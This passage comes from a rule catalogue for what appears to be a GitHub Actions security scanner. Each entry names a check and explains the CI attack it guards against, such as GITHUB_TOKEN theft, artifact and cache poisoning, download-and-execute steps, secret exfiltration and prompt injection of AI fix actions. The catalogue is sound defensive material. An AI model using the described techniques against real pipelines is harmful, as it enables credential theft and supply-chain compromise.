reusable workflow call inputs do not contain untrusted context Passing github.event.* as with: inputs to reusable workflows can propagate injection if the callee interpolates them in run: blocks. source |
| EG188 | check_no_untrusted_context_in_annotations |
workflow annotations do not interpolate untrusted context ::notice/::warning/::error commands render in the Actions UI. Untrusted context enables phishing and social engineering. source |
| EG189 | check_no_checkout_persist_credentials_default |
actions/checkout has persist-credentials: false Default persist-credentials: true stores GITHUB_TOKEN in .git/config where subsequent steps can steal it (actions/checkout#485, ArtiPACKED). source |
| EG190 | check_no_artifact_download_then_execute |
downloaded artifacts are not executed in run blocks Executing files from download-artifact creates a trust bridge — attacker-controlled artifact contents achieve code execution (ZipSlip CVE-2024-42471). source |
| EG191 | check_no_cross_workflow_artifact_download |
cross-workflow artifact downloads are not used Downloading artifacts from other workflow runs breaks security boundaries. Forks can upload poisoned artifacts (GHSA-5xr6-xhww-33m4). source |
| EG192 | check_no_cache_key_from_mutable_file_in_pr_target |
pull_request_target cache keys do not hash attacker-controlled files In pull_request_target, hashFiles() hashes the fork's lockfile. A poisoned lockfile controls the cache key, enabling cache poisoning. source |
| EG193 | check_no_oidc_token_passed_to_untrusted_action |
OIDC tokens are not exposed to unpinned third-party actions id-token: write with unpinned third-party actions lets a compromised action steal OIDC tokens and access cloud resources. source |
| EG194 | check_no_azure_login_with_creds_secret |
azure/login uses federated identity, not legacy creds secret The legacy creds: parameter stores a full service principal secret. Federated identity (client-id + tenant-id) uses short-lived OIDC tokens. source |
| EG195 | check_no_actions_from_archived_repos |
actions are not from archived/unmaintained repositories Archived repos receive no security patches and are repojacking targets if transferred. source |
| EG196 | check_no_action_ref_to_branch_name |
action refs do not use branch names Branch refs (main, master, develop) are mutable and can be force-pushed. Pin to commit SHA or immutable tag. source |
| EG197 | check_no_docker_hub_image_without_digest |
docker:// action refs use sha256 digest Docker Hub image tags are mutable. Without @sha256: digest pinning, images can be replaced with malicious versions. source |
| EG198 | check_no_sudo_in_run_blocks |
run blocks do not use sudo sudo enables privilege escalation on runners. On self-hosted runners this can lead to persistent compromise. source |
| EG199 | check_no_unpinned_apt_get_install |
apt-get install packages are version-pinned Unpinned system packages pull whatever the mirror serves, risking supply-chain poisoning and non-reproducible builds. source |
| EG200 | check_no_chmod_exec_downloaded_files |
downloaded files are not chmod +x without verification Download + chmod +x + execute is a common attack pattern for running untrusted binaries on runners. source |
| EG201 | check_no_runner_tool_cache_writes |
run blocks do not write to RUNNER_TOOL_CACHE Poisoning the tool cache plants backdoored binaries that later steps pick up transparently (Cacheract research). source |
| EG202 | check_no_issue_ops_without_permission_check |
issue_comment slash commands check author_association Any public user can leave comments with /deploy or /approve. Without author_association checks, anyone can trigger privileged operations. source |
| EG203 | check_no_deployment_status_with_secrets |
deployment_status workflows do not use secrets deployment_status events run in the context of the commit that created the deployment, which may be from a fork. source |
| EG204 | check_no_check_suite_with_write_permissions |
check_suite workflows do not have write permissions check_suite events can be triggered by forks, similar to pull_request_target. Write permissions expose tokens. source |
| EG205 | check_no_docker_login_in_run |
run blocks do not contain docker login docker login in run blocks risks credential leakage through process listings, shell history, or log output. source |
| EG206 | check_no_buildx_cache_from_untrusted |
docker buildx --cache-from does not reference untrusted registries Build cache from untrusted registries can inject malicious layers into the build. source |
| EG207 | check_no_secrets_in_matrix_values |
secrets are not used in strategy.matrix values Matrix values are logged in the Actions UI and appear in artifact names, violating secret confidentiality. source |
| EG208 | check_no_secret_in_if_condition |
secrets are not used in if: conditions Secret values in if: conditions are not masked and can be observed through execution path analysis. source |
| EG209 | check_no_git_push_in_pr_workflow |
pull_request workflows do not contain git push A compromised PR workflow pushing code can bypass branch protections and inject malicious commits. source |
| EG210 | check_no_git_merge_in_workflow |
run blocks do not contain git merge or git rebase git merge/rebase introduces untrusted code into the working tree after checkout, bypassing safe checkout guarantees. source |
| EG211 | check_no_workflow_run_without_branch_filter |
workflow_run triggers have branches: filters Without branch filters, workflow_run fires for any branch including attacker-controlled fork branches. source |
| EG212 | check_no_third_party_action_with_contents_write |
third-party actions are not used in jobs with contents: write A compromised third-party action with contents: write can push malicious code to the repository. source |
| EG213 | check_no_environment_url_from_untrusted_context |
environment.url is not set from untrusted context Environment URLs render as clickable links in the GitHub UI, enabling phishing via attacker-controlled values. source |
| EG214 | check_no_copilot_autofix_in_pr_target |
Copilot/AI actions are not used in pull_request_target workflows AI-suggested fixes on untrusted PR code can be manipulated via prompt injection in PR descriptions. source |
| EG215 | check_no_workflow_schedule_and_dispatch_mixed |
workflows do not mix schedule and workflow_dispatch triggers Mixed triggers cause confused privilege levels — schedule runs with default branch context, dispatch may not. source |
| EG216 | check_no_persist_credentials_default |
actions/checkout explicitly sets persist-credentials: false The #1 most-discussed Actions security issue. Default persist-credentials: true stores GITHUB_TOKEN in .git/config (actions/checkout#485). source |
| EG217 | check_no_github_app_private_key_in_workflow |
GitHub App private keys are not passed to token generation actions Private keys passed to tibdex/github-app-token or actions/create-github-app-token can be stolen by compromised subsequent steps. source |
| EG218 | check_no_pr_target_with_label_only_gate |
pull_request_target does not rely solely on label-based gating Labels can be added by anyone with triage access. Label-only gates on pull_request_target are trivially bypassable. source |
| EG219 | check_no_composite_action_post_with_secrets |
composite action post steps do not access secrets Post steps execute even if the main step fails, making them ideal for data exfiltration (Cacheract research). source |
| EG220 | check_no_unquoted_github_output_write |
GITHUB_OUTPUT writes use safe delimiter patterns Unquoted writes to GITHUB_OUTPUT can inject additional output parameters via newlines in expression values. source |
| EG221 | check_no_docker_build_secret_arg_via_env |
docker build --build-arg does not reference secret env vars Docker build args are stored in image layers and can be extracted. Secrets passed via env to build-arg leak into the image. source |
| EG222 | check_no_secrets_in_step_name |
step name fields do not contain secrets Step names appear in logs and the Actions UI. Secrets in names are visible to anyone with read access. source |
| EG223 | check_no_git_fetch_all_refs |
git fetch does not use broad ref patterns Broad ref patterns like refs/pull/*/head pull code from other PRs, potentially introducing untrusted code. source |
| EG224 | check_no_codeql_without_config |
CodeQL init has config-file or queries parameter Default CodeQL configuration may miss critical security queries. Custom configs ensure consistent scanning coverage. source |
| EG225 | check_no_package_install_with_sudo |
sudo package installs use version pinning sudo + unpinned package install combines privilege escalation with dependency confusion risk. source |